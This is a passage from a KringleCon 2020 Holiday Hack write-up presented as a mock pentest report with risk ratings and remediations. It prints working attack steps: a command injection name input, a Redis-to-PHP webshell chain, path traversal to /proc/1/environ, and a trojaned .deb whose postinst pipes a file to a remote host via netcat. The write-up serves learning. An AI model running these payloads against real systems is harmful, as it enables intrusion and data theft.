17. ls -a /opt/munchkin_den/*
18. ls -lh /opt/munchkin_den/* -R | grep "109"
19. ps -aux
20. netstat -antp
21. curl -XGET http://localhost:54321
22. kill 28252
Risk Rating – Medium: Unauthorized access in this case directly contributed to the theft of candy. The system
tested was available to the public and was not restricted in a sandbox. Furthermore, the same widespread “elf”
user was left logged in and had elevated rights.
Remediation: Santa’s Castle should consider whether there is continued value in providing terminals to use in
public areas that are also available to Castle guests, especially since the North Pole has been under attack for
the last consecutive several years. If public terminals are a justified business risk, ensure that they use unique
credentials and log out after a short period of inactivity and after a total amount of lapsed time. User accounts
should not be privileged and should follow the principle of least privilege by only having enough access to
perform the lollipop creation tasks.

ET06 – Shared User Accounts on Public Workstations (Unescape Tmux)
Description: Similar to the issues in the previous section (ET05), other public workstations were observed
throughout the North Pole. Specifically, at the very entrance of Santa’s Castle there was an unsecured
workstation with an “elf” account already logged in. Since everyone who uses this terminal uses the same
account, our FC consultants looked to see if there were any active sessions in Tmux. Issuing the “tmux ls”
command, we could see that there was another active session we could attach to. We then attached to it using
the command, “tmux attach-session” since it was the only active one.
Risk Rating – Medium: If another user had sensitive information on the screen or unsaved progress, Tmux is
not the way to protect that session. It’s understandable on a public terminal to try and “save” progress by
keeping individual sessions open but since everyone uses the same “elf” user, it is trivial for another user to
attach to an arbitrary one.
Remediation: The advice echoed from the last several section rings true here as well. Unique logons should be
used, not sessions in Tmux nor shared accounts, to each user of the public terminal. These accounts should
be locked down and limited to only the functions that need to be used. Besides, if the workstation were
rebooted by another user all progress would be lost, so Tmux is most useful when multitasking or when
working over an intermittent, remote connection.

APPLICATION SECURITY FINDINGS
The findings below highlight issues identified during the Application Security Testing component of the
engagement. The testing was performed against several applications and web services within the North Pole
environment. The review is focused on identifying issues in the OWASP Top 10, among others. The items in
red below signify issues within these specific areas of the OWASP Top 10. Due to the findings relating to web
application security, the overall risk is considered to be Critical and should be remediated as soon as possible.
OWASP Top 10 - 2017
Found in
Environment
A1:2017 - Injection Yes
A2:2017 - Broken Authentication Yes
A3:2017 - Sensitive Data Exposure Yes
A4:2017 - XML External Entities (XXE) No
A5:2017 - Broken Access Control Yes
A6:2017 - Security Misconfiguration Yes
A7:2017 - Cross-Site Scripting (XSS) No
A8:2017 - Insecure Deserialization No
A9:2017 - Using Components with Known Vulnerabilities Yes
A10:2017 - Insufficient Logging & Monitoring No
The chart below shows the mapping of findings to their corresponding category within the OWASP Top 10
(2017). As seen below, injection issues (Command Injections) are the most predominant findings in the
environment, followed closely by Authentication or Access Control issues and sensitive data exposure.

CODING AND CONFIGURATION ISSUES
AT01 – Web Traversal & RCE (Obj 8 – Broken Tag Generator)
Description: Noel Bowtie in the wrapping room explained to us that the tag generator machine was broken so
we decided to take a closer look in case it was due to a security issue. We noticed right away that the code for
the tag generator was very similar and probably re-used from the greeting card machine in the talks lobby.
While attempting to upload non image files, the error output told us what our file path was. Looking at the
/image endpoint we noticed there was an “id” parameter that requests an image GUID. Curious if there was an
Insecure Direct Object Reference (IDOR) vulnerability, we attempted to call other files we had uploaded. We
eventually found them up a directory and we determined we had a Directory Traversal vulnerability and could
call arbitrary files, including /etc/passwd. We used this to read the source of /app/lib/app.rb which told us a lot
about the application. We scanned the code using Brakeman to do a secure code review of the application as
well. However, Noel told us he only needed the “GREETZ” system environment variable to fix the wrapping
machine, so we simply crafted the URL in Burp Suite’s Repeater tab to make an HTTP request for
/image?id=../../../../proc/1/environ, which is where the variables are located. The variable was,
“JackFrostWasHere”.
Figure AT01a: Local File Include (LFI) Vulnerability in the Image Endpoint (“id” Parameter)
Also, it’s worth mentioning that we noticed other issues with the application as well. Files uploaded in a zip
archive were moved to the /tmp/ directory and were not renamed by the application, although the zip file itself
was. This, along with some encoding, allowed us to place files in arbitrary paths and we could retrieve them in
order to get Remote Code Execution (RCE) via a web shell with Ruby. Command injection was observed as well
in the “filename” parameter as it was passed to the “system()” function by the app.rb file, which allowed us to
ping our remote Burp Collaborator instance.

Risk Rating – High: These web application issues, although mostly limited to this one parameter, are critical
and are all in the OWASP Top 10. Reading arbitrary files via LFI, RCE, and command injection can lead to
sensitive information disclosure and a compromise of the underlying web server. If these are public facing they
should be taken offline immediately and resolved, even if they are restricted to Santa and his elves only.
Remediation: Review the “id” parameter and ensure that it does not process files by their direct names. Also
ensure that “../” and other characters are filtered out, as well as with other encoding methods. The system()
calls within the server-side code should not accept user input that contains potentially harmful characters that
could be parsed and run on the back-end, such as single quotes, semi-colons, or ampersands, to name a few.
Lastly, the greeting card machine should be looked at more closely to ensure that any vulnerabilities
discovered do not also exist in that system, since they are closely related and have a similar code base. We did
take a look at it briefly and determined at least these issues do not exist currently on that system. Lastly, error
handling should be implemented to catch exceptions within the application and result in a generic message to
avoid giving away information that could be used by an attacker to determine file paths, as was the case in this
situation.
AT02 - Command Injection (Kringle Kiosk)
Description: Another command injection vulnerability exists on a public terminal meant to welcome KringleCon
participants. This terminal allows you to view a map, read the code of conduct, print a directory, and create a
name badge. However, it was during the “Create a Name” badge when we were checking in at the very
beginning of our assessment that we couldn’t help but take the opportunity to test for command injection by
inserting a semi-colon into our name. Specifically, we used “Curtis; /bin/bash” as input to gain shell access
outside of the application in order to run arbitrary bash commands on the underlying operating system.
Risk Rating – High: Command injection is critical, especially when it is present within the first application
everyone uses when arriving at the Castle. As with AT01 and the Broken Tag Generator, injection vulnerabilities
are a result of untrusted user input being parsed by the application or underlying operating system in an unsafe
way.
Remediation: In general, characters should be properly sanitized and encoded when stored and reflected back
to the user. Whitelisting can be an effective control in addition to filtering and input validation if the fields have
a specific purpose, such as a zip code or phone number field. However, with this being a name field
specifically, users may have apostrophes and other characters in their names that the developers did not
anticipate. This is especially true for elf names! In bash, known harmful characters can be escaped and the
application should also run with minimal privileges to help mitigate the risk.
AT03 – Hardcoded Credentials in Source (Obj 3 – PoS Password Recovery)

Description: Sugarplum Mary in the Courtyard told us that the Santa Shop’s “Santa PoS” system was locked
out and she was unable to sell items. What was concerning to us from a security perspective was that she said
it is now asking for a password but had not done so in the past. This was an Electron application, which we
knew from experience, could be “reversed” by extracting the source code. We first downloaded the offline
version of the application as a Windows executable and extracted it with 7zip. Inside of that was another 7z file
with /resources/app.asar inside.
A quick search on GitHub revealed a tool that extracts asar files, so we ran that with the “asar extract app.asar
../extracted/” command to output the contents into our local “extracted” directory. What we found inside of the
“main.js” script as a variable named, “SANTA_PASSWORD” which contained a hardcoded value of “santapass”.
Risk Rating – High: As we explained in the previous section, hardcoded passwords are insecure for a variety of
reasons. The risk is heightened in this instance since Electron apps offer no obfuscation and are trivial to
obtain the source for. Even further compounding the risk is the fact that password currently in use is not
considered complex and could be guessed in a dictionary attack quite easily.
Remediation: Digital Forensics and Incident Response were not in scope for this assessment, but FC
Consulting recommends Santa’s Castle staff reviews all logs associated with the PoS application to determine
if there has been unauthorized use in the past. Surgarplum Mary’s insistence that she never set a password is
concerning and PoS systems are often a high profile target for black hats who typically use RAM scraping
malware and other techniques to read card-holder data off of the system for financial gain. All passwords
should be changed to meet password complexity requirements and should not reside in the source code.
AT04 - Insufficient Random and Predictable PRNGs (Snowball Game)
Description: While in the Speaker Unprep room, Tangle Coalbox was excited about other players beating a
snowball arcade game on an impossibly difficult setting. As security researchers, this peaked our interests and
we decided to take a closer look at the source code. Playing the game on any setting except for “Impossible”
allows the player to choose their own name. However, on Impossible a Pseudo Random Number Generator
(PRNG) value is set as the player’s name and is redacted from the output. This was visible in the source code,
as was 624 previous PRNGs that were tossed out. Tangle knew that there was a possibility the PRNGs and
names were tied the layout of the battleship snowball forts somehow, which gave us reason to try and see if
we could determine the 625th
“random” value, the one that was our player name and was redacted. Since the
back-end uses a Mersenne Twister and a common “rand()” function, it was trivial for FC consultants to pass in
the 624 previous values loaded as an array in Python with the help of some open-source Mersenne Twister
predictors that were publicly available. The most simple command we used ended up being:
cat seeds.txt | mt19937predict | head -n 624 > predictednew.txt
The “seeds.txt” file contained the PRNGs in the HTML comments and the first value in “predictednew.txt” was
the redacted player name. We were able to get this method to work with two different GitHub repositories and
with the predicted next value for a new “Impossible” level, we used that as our “easy” mode name in another

instance and beat the CPU player. We then took note of the layout and used that knowledge to beat the CPU
player on Impossible, which surprised Tangle even more since he wasn’t aware of the vulnerability.
Figure AT04a: Impossible (Left) and Easy (Right) with PRNGS (Lower Right)

Figure AT04b: Solitaire Snowball Win on Impossible
Risk Rating – Medium: Although not a critical issue being an arcade room in the unprep room, the game is
vulnerable to a predictable output and could give certain players an unfair advantage. If monetary wagers were
placed on the game, it could turn a fun holiday activity into an all-out war. If this same rand feature is used
elsewhere in the Castle in the same way, in more serious applications such as with Santa’s route calculators, it
could introduce a high risk to the environment and the holiday season.
Remediation: Consider using a different function for rand, or seeding the values with something that is not
predictable like a timestamp would be, for example. Also, there is no need to include the 624 previous PRNGs
in the web response within the HTML comments. Removing these would go a long way in preventing the
prediction of the next value. Lastly, do not base the layout of the game on the player name and instead, keep
the PRNG as the determination for the layout but keep that value server-side and the player name as a separate
variable so that players cannot manipulate the layout of the game. Also, tell someone should tell Tangle the
game is rigged because the poor guy keeps getting excited whenever someone beats it on impossible mode.
AT05 – Cloud Storage Information Disclosure (Obj 2 - Investigate S3 Bucket)

Description: There was an issue discovered during the application assessment involving the use of S3 buckets
within AWS. Specifically, an information disclosure was discovered in a publicly accessible bucket with a little
brute forcing of common phrases. The bucket was in use by a machine in charge of ribbon curling and gift
wrapping, another critical function for the holidays, similar to the Sort-o-Matic. This machine, the Wrapper3000,
wasn’t broken but instead contained sensitive information in the public bucket and was using weak
obfuscation and security by obscurity techniques.
FC consultants loaded up a favorite open-source Ruby tool we’re familiar with called Bucket Finder
(bucket_finder.rb). It supports wordlists, the but the default one is limited. Knowing this tool is called
“Wrapper3000”, we added that to our list of terms, along with some other North Pole themed words. This
resulted in a hit with directory listing containing a “package” file. Downloading and analyzing the file, we could
tell it was an archive. “application.zip” then extracted to a bz2 file, which extracts to a tar and then an xxd hex
dump. Using "xxd -r package.txt.Z.xz.xxd > package.txt.Z.xz" produced a binary from the hex dump, which was
an xz package. We then extracted that with “unxz package.txt.Z.xz” into a 7zip archive (7z). Lastly, we were
able to extract the contents of a “package.txt” which contained our secret. The irony of unwrapping a
“package” “all the way” is too much since this is for a gift-wrapping machine, which suggests this was done
deliberately by an adversary.
Risk Rating – Medium: S3 buckets should be restricted so that public access without a token is not possible
and directory listing should be disabled. The bucket name is also easily guessable, which isn’t necessarily a
security issue by itself, but in this case aided our brute forcing efforts. Hiding secrets by obscuring or by
making access more difficult is not a secure way to protect sensitive information.
Remediation: Instead of hiding sensitive information and forgetting the values and how to access them when
needed, consider using a password management tool or key vault to protect secrets, credentials, and tokens.
There are many commercial and open-source tools available to simplify the process and enable developers to
access the secrets more easily, while still being secure. It also isn’t computationally efficient to have a process
extract thirty different layers of archives and containers just to access a secret, nor does it keep out malicious
actors.
AT06 - Secure Code Training Deficiencies (Scapy Practice)
Description: As part of the application security testing efforts in Santa’s Castle, we were tasked with training
the staff in secure code training practices specifically for an interface that was designed to prep present
packets. Although many of the elves were familiar with Python, they were not as familiar at the network layer
using Scapy. We took them through a series of training after identifying this weakness and demonstrated
essential techniques and methods or analyzing network data so network monitoring tools could be developed
in order to help with detection capabilities. In another section in this report, while showing demonstrations of
the network, we witnessed some Machine-in-the-Middle attacks against some cleartext protocols that should
not have been in use. Below is the raw dump of questions and answers to our training for reference:
Start by running the task.submit() function passing in a string argument of 'start'.

Type task.help() for help on this question.
task.submit('start')
Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.
task.submit(scapy.sendrecv.send)
Submit the class object of the scapy module that sniffs network packets and returns those packets
in a list.
task.submit(scapy.sendrecv.sniff)
Submit the NUMBER only from the choices below that would successfully send a TCP packet and then r
eturn the first sniffed response packet to be stored in a variable named "pkt":
1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))
task.submit(1)
Submit the class object of the scapy module that can read pcap or pcapng files and return a list o
f packets.
task.submit(scapy.utils.rdpcap)
The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices b
elow that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
2. UDP_PACKETS.show()
3. UDP_PACKETS.list()
task.submit(2)
Submit only the first packet found in UDP_PACKETS.
task.submit(UDP_PACKETS[0])
Submit only the entire TCP layer of the second packet in TCP_PACKETS.
task.submit(TCP_PACKETS[1][TCP])
Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit
this modified packet
UDP_PACKETS[0][IP].src = '127.0.0.1'
task.submit(UDP_PACKETS[0][IP])
Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet lis
t TCP_PACKETS.
TCP_PACKETS[4] shows "USER alabaster" as a prompt. TCP_PACKETS[5].load shows "Pass echorn"
task.submit('echo')
The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply
packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.
ICMP_PACKETS[1][ICMP].chksum

Submit the number of the choice below that would correctly create a ICMP echo request packet with
a destination IP of 127.0.0.1 stored in the variable named "pkt"
1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")
task.submit(3)
Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all oth
er packet attributes can be unspecified)
pkt = IP(dst='127.127.127.127')/UDP(dport=5000)
Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query
with a qname of "elveslove.santa". (all other packet attributes can be unspecified)
pkt2 = IP(dst='127.2.3.4')/UDP(dport=53)/DNSQR(qname='elveslove.santa')
task.submit(pkt2)
The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the secon
d packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be
a proper ARP response and then task.submit(ARP_PACKETS) for inspection.
ARP_PACKETS[1] (to get Ether MAC addresses)
ARP_PACKETS[1][ARP].hwsrc = '00:13:46:0b:22:ba'
ARP_PACKETS[1][ARP].hwdst = '00:16:ce:6e:8b:24'
ARP_PACKETS[1][ARP].op = 2 (Because 2 is a reply)
Risk Rating – Low: Overall the risk is low since there was some knowledge of secure coding practices and only
minor deficiencies. Those deficiencies have been resolved with the training provided, but a thorough review of
both the static source code and dynamic application was not in scope and therefor was not performed. It also
seemed rushed since this report was written just a week prior to Christmas and the code was not finished,
suggesting security may not have been the foremost concern.
Remediation: Our suggestion is to continue performing secure code training and reviews of all applications.
This helps proactively secure the application by building a secure foundation. Using OWASP’s ASVS as a
reference would be helpful in building out a threat map and designing secure architecture from the ground up.
The OWASP Top 10 is a good resource the elf devs can leverage to ensure that the most common
vulnerabilities are not introduced into the code. Lastly, we suggest a through application assessment of the
Present Packet Prepper interface which should include secure code scanning and dynamic web application
testing since this was rushed to production and all future pushes should go through a Secure Software
Development Lifecycle (SSDLC).
AT07 - Web Configuration and Error Handling Issues (Redis Bug Hunt)
Description: Holly Evergreen pointed out an issue with a Redis instance. The maintenance PHP page was all
that seemed to be working and she noticed (due to a PHP error page by accessing maintenance.php) that the

source code could be read with specifically crafted commands. The commands available in the error output
were “help, mget, and example1”. We agreed to take a look for security concerns and to help get the Redis
instance restored. After finding a great blog about getting a webshell via Remote Command Execution (RCE),
we knew we could use this method to read the contents of the PHP source code instead of having the
application render index.php as code on the server. Below are the following steps our consultants took:
Executing "curl http://localhost/maintenance.php?cmd=config,get,*" shows a lot of information, including a password.
Looking around on the local filesystem we could see /var/www/html is a web path
curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html (Sets the config directory variable to our web path)
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,webshell.php (Sets the dbfilename variable to a filename
for our webshell)
curl
http://localhost/maintenance.php?cmd=set,test,%3C%3Fphp%20%24cmd%20%3D%20%28%24_REQUEST%0A%5B%27cmd%2
7%5D%29%3B%20system%28%24cmd%29%3B%20%3F%3E (URL Encoded PHP syntax to execute local OS commands: <?php
$cmd = ($_REQUEST['cmd']); system($cmd); ?>)
curl http://localhost/maintenance.php?cmd=save (Saving our changes)
curl http://localhost/webshell.php?cmd=cp%20index.php%20index.txt (Passing our payload to copy index.php to a text file via
our new “cmd” GET request parameter)
curl http://localhost/index.txt (Retrieving our text file containing our PHP source code for index.php)
Risk Rating – Low: Although RCE is typically a critical finding, this application is internally facing only and
presents a smaller risk overall. However, an attacker with a foothold in the environment could still use this
technique to execute arbitrary code under the context of the web server’s service account. From our
experience, Redis is typically discovered without using any authentication at all, which is an issue with or
without the front-end, since this is how instances are configured by default.
Remediation: Authentication should be set within the configuration file to make it more difficult for an attacker
to use arbitrary commands through the maintenance endpoint. Also, error logging should be disabled in the
php.ini file to make it more difficult for an attacker to determine how the back-end is responding to specially
crafted requests.
AT08 - Client-Side Validation Issues (Expert Elf Coder)
Description: One of the more enjoyable vulnerabilities exploited during the course of the engagement involved
another arcade machine just outside of the main dining hall. The game is called Elf Coder and is meant to be
operated with traditional arcade inputs, such as buttons and a joystick. However, because the client-side uses
JavaScript and functions were all handled by the front-end, the dev console could be used to automate and
beat the game without any direct user input, giving players an unfair advantage as was the case with the
Snowball game.

Figure AT08a: 130 Lines in Total Located Here
Risk Rating – Low: The risk is low, except for the reasons described in the Snowball game. However, a script
such as the one above as a Proof of Concept can be used to bypass all eight levels (plus two different
methods on level 6) without any user interaction at all, all from the console.
Remediation: Consider moving functions server-side and not allowing the client-side to control all of the
functionality of the game. The restrictions in lines of code and number of elf calls was helpful in limiting the
attacks, but ultimately it was not enough since functions and custom code could be used to bypass these
limitations.

MISSING OR WEAK CRYPTOGRAPHY ISSUES
AT09 - Use of Cleartext Protocols (Obj 9 - ARP Shenanigans)
Description: Were were alerted to an incident by Alabaster Snowball regarding a compromised host at
10.6.6.35 via malware planted by Jack Frost, which Alabasater was no longer under the control of. This is
clearly a critical issue whenever dealing with an insider threat as well as malware on a mission critical asset.
Alabaster asked us to regain control via a series of Machine-in-the-Middle (MitM) attacks since we’re already
performing a red team assessment and to access a sensitive land-use board meeting document on the root
directory containing notes of that meeting.
Ettercap and Bettercap weren’t available on our host machine situated at 10.6.0.4 so we leveraged our Scapy
knowledge to build an ARP and DNS spoofing attack. We first sniffed the network interface for all APR
broadcasts and noticed a request from our target machine at 10.6.6.35 looking for the MAC associated with
10.6.6.53. Using verbose tshark and tcpdump output, we could tell our target’s FQDN was
winsrvdc2019.guestnet0.kringlecastle.com and performing a ping resolved the MAC to fa:34:41:59:86:52. The
ifconfig command gave us our MAC at 02:43:0a:06:00:02. Having this information, we were able to craft an
ARP response of our own to trick our target at 10.6.6.35 into thinking 10.6.6.53 was actually our host. Once we
did this, the MitM attack was successful and we could then see DNS requests for an ftp.osuosl.org. Naturally,
the next step was to also write our own DNS spoofing script in while we looped the existing ARP spoofing
script in the background. It was about this time we wished we had Ettercap or Bettercap!
Figure AT09a: ARP Spoofing Scapy Script

Figure AT09b: DNS Spoofing Scapy Script w/ Mapping Against Example in Comments Below
After altering the dns_resp.py to respond dynamically to the DNS request, pointing it to our host on 10.6.0.4, we
started seeing reply TCP traffic. The DNS response was essentially a DNS query in response, with subtle
differences. Looking more closely at our packet capture with tshark and tcpdump, we could see the TCP traffic
was using the HTTP protocol, requesting a Debian package. We then fired up Python’s simple http server
module to stand up a quick web server and could confirm the spoofed target was requesting the .deb package
from us and receiving a 404. FC consultants immediately identified an attack method we could leverage in
order to regain control of the target host, so we altered an existing gedit package that was already on our host.
We altered this package and weaponized it with post install scripts that would cat the contents of the file
Alabaster was wanting, and pipe them back to a netcat listener on our host at 10.6.0.4. This worked perfectly,
and we received the contents of the document. Listed below are the exact series of commands issued:
/usr/bin/tmux split-window -hb ## Split our Tmux screens for multi-tasking
./dns_spoof.py ## Run our DNS spoof script in a loop
./arp_spoof.py ## Run our ARP spoof script in a loop
dpkg -x gedit-common_3.36.1-1_all.deb work ## Extract the gedit package into a “work” directory

mkdir work/DEBIAN ## Created a “DEBIAN” subdirectory for the post install script to live
ar -x gedit-common_3.36.1-1_all.deb ## Extracted the archives from the package
tar -xxvf control.tar.xz ./control ## Extracting the “control” file out of the control archive
cp control work/DEBIAN/control ##
cp control work/DEBIAN/postinst
nano work/DEBIAN/postinst
#!/bin/sh
cat /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt | nc -q 0 ftp.osuosl.org 8080
chmod 775 work/DEBIAN/postinst
dpkg-deb --build work/
mkdir pub
mkdir pub/jfrost
mkdir pub/jfrost/backdoor
cp work.deb pub/jfrost/backdoor/suriv_amd64.deb
nc -l 10.6.0.4 8080 -vv > output.txt
python3 -m http.server 80
Figure AT09c: Tmux Terminal Containing Response from Target

Risk Rating – High: In this case, we leveraged vulnerabilities on the network to regain access to a
compromised host. However, this could have been the way in which Jack Frost took control of the host in the
first place. Since we know there is malware actively on the infected target the risk is heightened further.
Cleartext protocols such as DNS and HTTP expose the environment and assets to MitM attacks as we
demonstrated above. Data integrity and confidentiality are compromised when two hosts can’t verify each
other’s authenticity and do not encrypt data in transit from potential eavesdroppers.
Remediation: Consider using DNSSEC or TLS1.3 to strengthen the DNS protocol against interception and
spoofing attacks. Any Debian source repositories that are untrusted should be removed and ONLY use sources
that support HTTPS. HTTP is a cleartext protocol and should be avoided at all costs. This attack would not
have been successful if either of these technologies were updated, although HTTPS self-signed certificates
may have been an option depending on how the repositories are confirmed on the target host. Lastly, consider
network segmentation practices so that the network isn’t as “flat”, making ARP poisoning less effective for
potential attackers.
AT10 - MD5 Weak Hashing Algorithms (Obj 11a,b – Blockchain Investigation)
Description: A couple of severe issues were identified pertaining to the use of Blockchain in a mission critical
process, Santa’s List. Speaking with Tangle and Tinsel, there was reason to believe a block had been altered,
but there was some confusion as to whether this was possible since the block’s MD5 hash remained
unchanged. There was also motive, as Jack Frost suspected to be on the naughty list but instead had an
outrageously “nice” score and the report by a field agent wasn’t something Shinny remembers submitting. We
at FC consulting also learned that JF Consulting was brought in to secure the blockchain and had made the
suggestion to add 64-bit nonces to the beginning of each block to strengthen MD5 hashes, knowing MD5 is an
outdated algorithm. This seemed like good advice, but was likely planted information by Jack Frost, knowing
this could be exploited to keep the chain unbroken while still being able to modify content.
While reviewing the source code, we realized the same random functions used in the Snowball game were
indeed being reused to predict the nonces for the blocks that get added to the MD5s for the signature. We
verified this by predicting the nonce four blocks beyond the last block in the chain giving us 57066318f32f729d
printed to our terminal for block 130,000.

Figure AT10a: Script to Export Nonce as Hexadecimal 4 Blocks After the Last Block in the Chain
Knowing the nonce could be manipulated and being aware of hash collisions with MD5, the next step was to
investigate the blockchain containing the suspicious report. We were given the SHA256 hash for the block so
by altering the supplied naughty_nice.py Python script slightly, we could hash each block in a loop until we
matched on the correct SHA256 match, which belonged to index 129459. We exported the raw block as a file
using the “save_a_block()” function already in the script.
Figure AT10b: Hashes Each Block and Outputs the Index, the SHA256, and the MD5
We again altered the script to dump each document in a loop for that block and, for the fun of it, every bock so
we could read the naughty and nice reports. Upon first look at the block and its data, two things immediately
stood out to us. First, Jack’s score was indeed high and seemed to us like a naughty score he should have
received if it weren’t for the Nice bit being a one instead of a zero for Naughty. Secondly, the PDF was
seemingly corrupted, but upon closer investigation with a different PDF reader, it rendered with the positive
comments from others along with a recommendation Shinny said she did not write.

Figure AT10c: Positive Review in Jack’s Nice Report
Now, being security consultants, we suspected that Jack had altered his four bytes that Tangle told us about
by exploiting weaknesses in the MD5 hashing algorithm known as hash collisions along with the nonce
prediction to make the document appear legitimate and unaltered. Since Jack recommended these integrity
checks, he ensured this would appear as such until SHA256 was implemented next year. Familiar with UniColl
and MD5 having 64-byte blocks, we knew that an altered byte would also need to be altered four lines down in
our hex editor. Based on motive alone, we assumed Jack flipped the zero byte to one to make his very negative
naughty score a high nice score. We found the byte in our hex editor by looking at something close, so we
chose the score above it in the block ASCII output and moved down until we saw the 1, which we changed to 0.
Four lines below that we added 1 (the opposite) to the same column in our editor for UniColl to work and keep
the MD5 for the entire block the same. Sure enough, it worked and we validated this was the UniColl pair Jack
used. This also told us there was one more pair of bytes, since we understood there were four changed and we
had found two of them.

Figure AT10d: Searching for “fffff” Score and Changing the Nice Byte (1 / 31) to Naughty (0 / 30) and D6 to D7
At this time, we also happened to notice the ASCII text to the right in that screenshot above,
“_Go_Away/Santa/”, which seemed like a negative thing for a positive block report. We decided to take a closer
look at the PDF that was associated with that hex. We researched UniColl attacks on PDF documents from
some great online resources and realized entire content sections can be called based on their pages
references in the headers. We assumed Jack Frost had to use this technique since we know he only altered
two addition bytes, not an entire report’s contents, so we attempted to incrementally increase the “Pages”
value by changing “2 (32)” to “3 (33)”. Like with the previous UniColl manual method, we also have to do the
opposite four lines down, so we subtracted 1 from 1C to make it 1B. We opened the PDF to check its new
contents and to our surprise, we uncovered the reason why Jack was attempting to cover up his original
Naughty block report.

Figure AT01e: The “Original” PDF Jack Frost Tried to Cover Up
This report uncovered some disturbing activities performed by Jack Frost and was apparent now why he had
the high score after purposely suggesting he be given a very bad score, knowing he would later flip Naughty to
Nice. He also wanted to submit the document himself, which Shinny was skeptical of at first, but after
checking the integrity of the Blockchain had no reason to doubt that Jack self-incriminated. Shinny didn’t know
about the MD5 and nonce vulnerabilities, however, and Jack exploited this lack of knowledge for all of Santa’s
staff.
The final thing we needed to do was also change the correct bytes in the raw block itself and re-hash with MD5
to confirm the MD5 was the same as the original (347979fece8d403e06f89f8633b5231a). It was! However,
SHA256 is not vulnerable to hash collisions in the same way so the SHA256 has was different than the original
one we used to find Jack’s block, which was now
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb.
Risk Rating – High: This was the most critical finding of the year, and rightfully so. The integrity of the
Blockchain is compromised and cannot be trusted in its current state. Fortunately, as part of the planned
upgrades for 2021, it seems as though Tangle at least has a baseline of SHA256 hashes for each block since
he gave us one for Jack’s. This can be used, since MD5 is no longer considered secure for verifying file
integrity, to ensure that none of the other blocks have been altered since the SHA256 hashes were collected.
Jack’s also in prison now, so at least the risk is minimal for a repeat attack from the same APT actor. He really
put the “P” in that acronym.

Figure AT01f: Captured APT Actor (What kind of person kicks an animal, honestly?)
Remediation: Santa’s staff is already aware of the security risks of MD5 due to the fallout of this incident and
has plans to upgrade MD5 to SHA256 next year, so little more needs to be done from a technical standpoint.
However, as advised previously and not just because we are FC Consulting’s direct competitors, we strongly
suggest using a different consulting firm in the future. Trusted third-party partners can be a good thing if used
properly and trust is established, further enhancing the security posture of the North Pole and filling security
gaps. The North Pole simply and understandably doesn’t have the resources, especially stretched thin during
the holiday season, to have experts on staff for every area of Cybersecurity. However, third party vendors
should be vetted and reviewed since many data breaches occur through vendor connections (*cough* Target
*cough*).
WOW! All of you at SANS/Counter Hack really REALLY outdid yourselves again this year! BRAVO! You should
all be proud of yourselves. And Ed, try not to focus already on HHC 2021.
Oh, and I WILL find out how Prof Qwerty Petabyte is! ....
Stay Frosty!
Curtis Brazzell

P. S. Thank YOU for allowing me to represent KringleCon in my latest, “R is for Red Team: Cybersecurity ABCs”
board book for kids! Hopefully I lived up to my own advice, lol.

2020 KringleCon HolidayHack Report - Brazzell

Recommended

Recommended

More Related Content

Similar to 2020 KringleCon HolidayHack Report - Brazzell

Similar to 2020 KringleCon HolidayHack Report - Brazzell (20)

More from Curtis Brazzell

More from Curtis Brazzell (7)

Recently uploaded

Recently uploaded (20)

2020 KringleCon HolidayHack Report - Brazzell